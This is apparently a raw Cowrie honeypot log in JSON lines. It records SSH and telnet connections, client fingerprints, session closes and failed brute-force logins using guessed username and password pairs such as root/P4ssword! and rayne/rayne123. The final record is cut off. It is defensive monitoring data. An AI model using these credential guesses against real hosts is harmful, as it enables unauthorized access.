{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:54.285691Z","src_ip":"117.121.214.50","session":"9ea66c25cad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:54.460916Z","src_ip":"103.27.238.114","session":"685192403a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"regina","message":"login attempt [root/regina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:55.304654Z","src_ip":"103.27.238.114","session":"685192403a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.86469912528992,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:55.921681Z","src_ip":"152.42.224.71","session":"e9e500990cb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.81689405441284,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:56.482587Z","src_ip":"152.42.224.71","session":"6f2fcf431008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:56.588259Z","src_ip":"103.27.238.114","session":"685192403a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":52158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0841c08e7193","protocol":"ssh","message":"New connection: 166.1.144.134:52158 (10.17.0.5:22) [session: 0841c08e7193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:56.621025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:56.625962Z","src_ip":"166.1.144.134","session":"0841c08e7193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:56.728846Z","src_ip":"166.1.144.134","session":"0841c08e7193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dhan","message":"login attempt [root/dhan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:57.168602Z","src_ip":"166.1.144.134","session":"0841c08e7193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:58.273386Z","src_ip":"166.1.144.134","session":"0841c08e7193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.22480010986328,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:02.126291Z","src_ip":"152.42.224.71","session":"00e20c689374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":41742,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3bc26f1caa3","protocol":"ssh","message":"New connection: 43.135.139.74:41742 (10.17.0.5:22) [session: b3bc26f1caa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:04.777317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:04.784045Z","src_ip":"43.135.139.74","session":"b3bc26f1caa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:04.854675Z","src_ip":"43.135.139.74","session":"b3bc26f1caa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:05.165656Z","src_ip":"43.135.139.74","session":"b3bc26f1caa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a213a9fac959","protocol":"telnet","message":"New connection: 152.42.224.71:37234 (10.17.0.5:23) [session: a213a9fac959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:05.420446Z"}
{"eventid":"cowrie.session.closed","duration":65.5268325805664,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:05.929508Z","src_ip":"152.42.224.71","session":"a979c22ec766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:06.238601Z","src_ip":"43.135.139.74","session":"b3bc26f1caa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36966,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3527939768","protocol":"telnet","message":"New connection: 152.42.224.71:36966 (10.17.0.5:23) [session: 6b3527939768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:08.020526Z"}
{"eventid":"cowrie.session.closed","duration":24.682087898254395,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:18.180138Z","src_ip":"152.42.224.71","session":"753a25ddc297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58498,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e708198500b","protocol":"telnet","message":"New connection: 152.42.224.71:58498 (10.17.0.5:23) [session: 4e708198500b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:18.537621Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a33c1b1157","protocol":"telnet","message":"New connection: 152.42.224.71:58502 (10.17.0.5:23) [session: b9a33c1b1157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:19.467443Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58512,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2b2d34fa9c","protocol":"telnet","message":"New connection: 152.42.224.71:58512 (10.17.0.5:23) [session: 1f2b2d34fa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:25.274460Z"}
{"eventid":"cowrie.session.closed","duration":43.128209352493286,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:34.200726Z","src_ip":"152.42.224.71","session":"37e18e0dcdfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53706,"dst_ip":"10.17.0.5","dst_port":23,"session":"6715500166c8","protocol":"telnet","message":"New connection: 152.42.224.71:53706 (10.17.0.5:23) [session: 6715500166c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:36.017770Z"}
{"eventid":"cowrie.session.closed","duration":120.00142288208008,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:36.789984Z","src_ip":"152.42.224.71","session":"64f5aecc885b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59728,"dst_ip":"10.17.0.5","dst_port":23,"session":"02794137f4dc","protocol":"telnet","message":"New connection: 152.42.224.71:59728 (10.17.0.5:23) [session: 02794137f4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:37.748076Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56404,"dst_ip":"10.17.0.5","dst_port":22,"session":"55da3b80d154","protocol":"ssh","message":"New connection: 213.209.159.56:56404 (10.17.0.5:22) [session: 55da3b80d154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:40.261406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:40.266073Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:40.351208Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne","message":"login attempt [rayne/rayne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:40.751122Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne1","message":"login attempt [rayne/rayne1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:41.836633Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59732,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bae9d251ac5","protocol":"telnet","message":"New connection: 152.42.224.71:59732 (10.17.0.5:23) [session: 5bae9d251ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:42.018017Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":9266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1d309997b16","protocol":"ssh","message":"New connection: 165.154.227.158:9266 (10.17.0.5:22) [session: a1d309997b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:42.038654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:42.043543Z","src_ip":"165.154.227.158","session":"a1d309997b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:42.259744Z","src_ip":"165.154.227.158","session":"a1d309997b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59736,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7cf9bcf3525","protocol":"telnet","message":"New connection: 152.42.224.71:59736 (10.17.0.5:23) [session: b7cf9bcf3525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:42.514808Z"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne123","message":"login attempt [rayne/rayne123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:42.920516Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jtbt7cfd1lrmgw","message":"login attempt [root/jtbt7cfd1lrmgw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:43.153687Z","src_ip":"165.154.227.158","session":"a1d309997b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne1234","message":"login attempt [rayne/rayne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:44.004447Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:44.372799Z","src_ip":"165.154.227.158","session":"a1d309997b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne12345","message":"login attempt [rayne/rayne12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:45.089195Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:46.175739Z","src_ip":"213.209.159.56","session":"55da3b80d154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":48746,"dst_ip":"10.17.0.5","dst_port":22,"session":"34121398b14b","protocol":"ssh","message":"New connection: 165.154.6.86:48746 (10.17.0.5:22) [session: 34121398b14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:50.823208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:50.827477Z","src_ip":"165.154.6.86","session":"34121398b14b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:51.040932Z","src_ip":"165.154.6.86","session":"34121398b14b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:51.932644Z","src_ip":"165.154.6.86","session":"34121398b14b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:24:53.150143Z","src_ip":"165.154.6.86","session":"34121398b14b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.062976598739624,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:02.483296Z","src_ip":"152.42.224.71","session":"a213a9fac959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34472,"dst_ip":"10.17.0.5","dst_port":23,"session":"884db71fe517","protocol":"telnet","message":"New connection: 152.42.224.71:34472 (10.17.0.5:23) [session: 884db71fe517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:03.562264Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":40292,"dst_ip":"10.17.0.5","dst_port":22,"session":"278209cb03cb","protocol":"ssh","message":"New connection: 166.1.144.134:40292 (10.17.0.5:22) [session: 278209cb03cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:08.156402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:08.164577Z","src_ip":"166.1.144.134","session":"278209cb03cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],